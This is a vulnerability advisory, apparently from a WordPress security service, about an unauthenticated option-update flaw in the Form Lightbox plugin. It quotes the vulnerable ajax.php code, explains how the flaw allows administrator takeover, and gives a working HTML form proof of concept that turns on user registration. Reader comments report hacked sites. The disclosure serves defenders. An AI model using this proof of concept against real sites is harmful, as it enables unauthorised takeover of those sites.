Option Update Vulnerability in Form Lightbox
Recently, what has probably been the most important way we have been finding new vulnerabilities in WordPress plugins, so that we can notify our customers and they can take appropriate measure to protect themselves, has been by monitoring our websites for what looks to be probing for the usage of plugins. That usually indicates that a hacker is looking to exploit a vulnerability. Yesterday we had requests across our websites for the file /wp-content/plugins/form-lightbox/colorbox/style-1/colorbox.css, which is part of the plugin Form Lightbox and according to wordpress.org it has 10,000+ active installs.
A quick look through the plugin’s files for what would be of interest to hackers brought us to the file /ajax.php. That file starts up WordPress and then allows the requester to update and delete WordPress options:
3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | $root = dirname(__FILE__); $position = strrpos($root, "wp-content"); $wp_installation = substr($root, 0 , $position ); include( $wp_installation.'wp-load.php' ); $_POST = array_map( 'stripslashes_deep', $_POST ); $action = isset( $_POST['action'] ) ? $_POST['action'] : false; switch ( $action ) { case 'update_content' : update_option( $_POST['update'], $_POST['value']); $start = false; $new_options = array(); foreach($flb->options() as $value){ if($start) $new_options[] = $value; if($value['type']=='open_ajax' && $value['id'] == $_POST['ajax']) $start = true; if($value['type']=='close_ajax' && $value['id'] == $_POST['ajax'] . "_close") break; } $flb->construct_form($new_options); break; case 'update_option' : update_option( $_POST['id'], $_POST['value'] ); break; case 'delete_option' : delete_option( $_POST['id'] ); break; } |
The code doesn’t include any restrictions on who can make changes to the options and the plugin does not need to be activated for the code to function. With the ability to change WordPress’ options, a hacker could do a lot of things. One obvious thing they could do is to turn on user registration and set newly registered accounts role to be Administrator, so they can create an account that has full access to the admin area of WordPress.
The plugin hasn’t been updated since 2013, so the chances of it being updated by the developer now are not great.
For once we don’t seem to be the only ones that noticed that a hacker was interested in the plugin, as sometime after we started looking in to this yesterday, the plugin was removed from the Plugin Directory, which would be done after the the people running it are notified of a security issue. Our guess as to why that occurred this time and has in many other instances is that the whoever probing for usage of the plugin was doing it across more website than is usually done.
Proof of Concept
The following proof of concept will turn on user registration.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-content/plugins/form-lightbox/ajax.php" method="POST"> <input type="hidden" name="action" value="update_option" /> <input type="hidden" name="id" value="users_can_register" /> <input type="hidden" name="value" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html>
I’ve been a fan of this plugin, but I’ve had 3 of my sites hacked using this in the last 3 days – found the file URL in the raw access logs, matched the IP accessing it to a wordfence email about a password reset request, after someone had added themselves as an admin user.
How can the fuckers just delete the plugin from the WP plugin repository and wash their hands? Would one more patch, removing the exploitable code, have killed them?
Are they working off your proof of concept code? First intrusions were 16/7, 2 days before this post.
The plugin was likely removed by the Plugin Directory after it was reported to have a security issue, the developer probably isn’t around anymore to delete it. The Plugin Directory could and sometimes does release new versions to fix security issue when the developer isn’t around, but as with everything involving them, what leads to that happening is opaque. We would be happy to help them do that sort of fix, if they ever wanted to get more professional about such things.
As mentioned in the post we became aware of the issue because of what looks to be a hacker probing for usage of the plugin, so a hacker would in all likely hood would have already known about this vulnerability and been exploiting before our post. Due to how easy it is to spot the issue once you are aware someone is exploiting the plugin, other hackers could have figured it out without looking at our post as well.
If you use our companion plugin for the service, you would have been notified of this vulnerability a couple of days ago since the plugin had exploitation attempts against it and vulnerabilities in those plugins are included in the free data that comes with the plugin. With our service you get notified about when known vulnerabilities are found in plugins you sue, whether hackers have started exploiting them or not.